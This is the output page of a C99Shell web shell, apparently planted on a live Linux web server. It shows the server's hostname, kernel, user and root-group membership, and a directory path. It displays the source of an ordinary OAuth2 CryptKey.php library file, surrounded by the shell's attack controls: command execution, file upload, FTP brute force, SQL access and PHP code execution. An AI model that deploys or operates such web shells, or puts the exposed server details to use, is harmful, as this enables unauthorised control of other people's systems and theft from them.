!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/vendor/league/oauth2-server/src/   drwxr-xr-x
Free 28.79 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CryptKey.php (3.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Cryptography key holder.
 *
 * @author      Julián Gutiérrez <juliangut@gmail.com>
 * @copyright   Copyright (c) Alex Bilbie
 * @license     http://mit-license.org/
 *
 * @link        https://github.com/thephpleague/oauth2-server
 */

namespace League\OAuth2\Server;

use 
LogicException;

class 
CryptKey
{
    
/** @deprecated left for backward compatibility check */
    
const RSA_KEY_PATTERN =
        
'/^(-----BEGIN (RSA )?(PUBLIC|PRIVATE) KEY-----)\R.*(-----END (RSA )?(PUBLIC|PRIVATE) KEY-----)\R?$/s';

    private const 
FILE_PREFIX 'file://';

    
/**
     * @var string Key contents
     */
    
protected $keyContents;

    
/**
     * @var string
     */
    
protected $keyPath;

    
/**
     * @var null|string
     */
    
protected $passPhrase;

    
/**
     * @param string      $keyPath
     * @param null|string $passPhrase
     * @param bool        $keyPermissionsCheck
     */
    
public function __construct($keyPath$passPhrase null$keyPermissionsCheck true)
    {
        
$this->passPhrase $passPhrase;

        if (
\strpos($keyPathself::FILE_PREFIX) !== && $this->isValidKey($keyPath$this->passPhrase ?? '')) {
            
$this->keyContents $keyPath;
            
$this->keyPath '';
            
// There's no file, so no need for permission check.
            
$keyPermissionsCheck false;
        } elseif (
\is_file($keyPath)) {
            if (
\strpos($keyPathself::FILE_PREFIX) !== 0) {
                
$keyPath self::FILE_PREFIX $keyPath;
            }

            if (!
\is_readable($keyPath)) {
                throw new 
LogicException(\sprintf('Key path "%s" does not exist or is not readable'$keyPath));
            }
            
$this->keyContents \file_get_contents($keyPath);
            
$this->keyPath $keyPath;
            if (!
$this->isValidKey($this->keyContents$this->passPhrase ?? '')) {
                throw new 
LogicException('Unable to read key from file ' $keyPath);
            }
        } else {
            throw new 
LogicException('Unable to read key from file ' $keyPath);
        }

        if (
$keyPermissionsCheck === true) {
            
// Verify the permissions of the key
            
$keyPathPerms \decoct(\fileperms($this->keyPath) & 0777);
            if (
\in_array($keyPathPerms, ['400''440''600''640''660'], true) === false) {
                
\trigger_error(
                    
\sprintf(
                        
'Key file "%s" permissions are not correct, recommend changing to 600 or 660 instead of %s',
                        
$this->keyPath,
                        
$keyPathPerms
                    
),
                    
E_USER_NOTICE
                
);
            }
        }
    }

    
/**
     * Get key contents
     *
     * @return string Key contents
     */
    
public function getKeyContents(): string
    
{
        return 
$this->keyContents;
    }

    
/**
     * Validate key contents.
     *
     * @param string $contents
     * @param string $passPhrase
     *
     * @return bool
     */
    
private function isValidKey($contents$passPhrase)
    {
        
$pkey \openssl_pkey_get_private($contents$passPhrase) ?: \openssl_pkey_get_public($contents);
        if (
$pkey === false) {
            return 
false;
        }
        
$details \openssl_pkey_get_details($pkey);

        return 
$details !== false && \in_array(
            
$details['type'] ?? -1,
            [
OPENSSL_KEYTYPE_RSAOPENSSL_KEYTYPE_EC],
            
true
        
);
    }

    
/**
     * Retrieve key path.
     *
     * @return string
     */
    
public function getKeyPath()
    {
        return 
$this->keyPath;
    }

    
/**
     * Retrieve key pass phrase.
     *
     * @return null|string
     */
    
public function getPassPhrase()
    {
        return 
$this->passPhrase;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--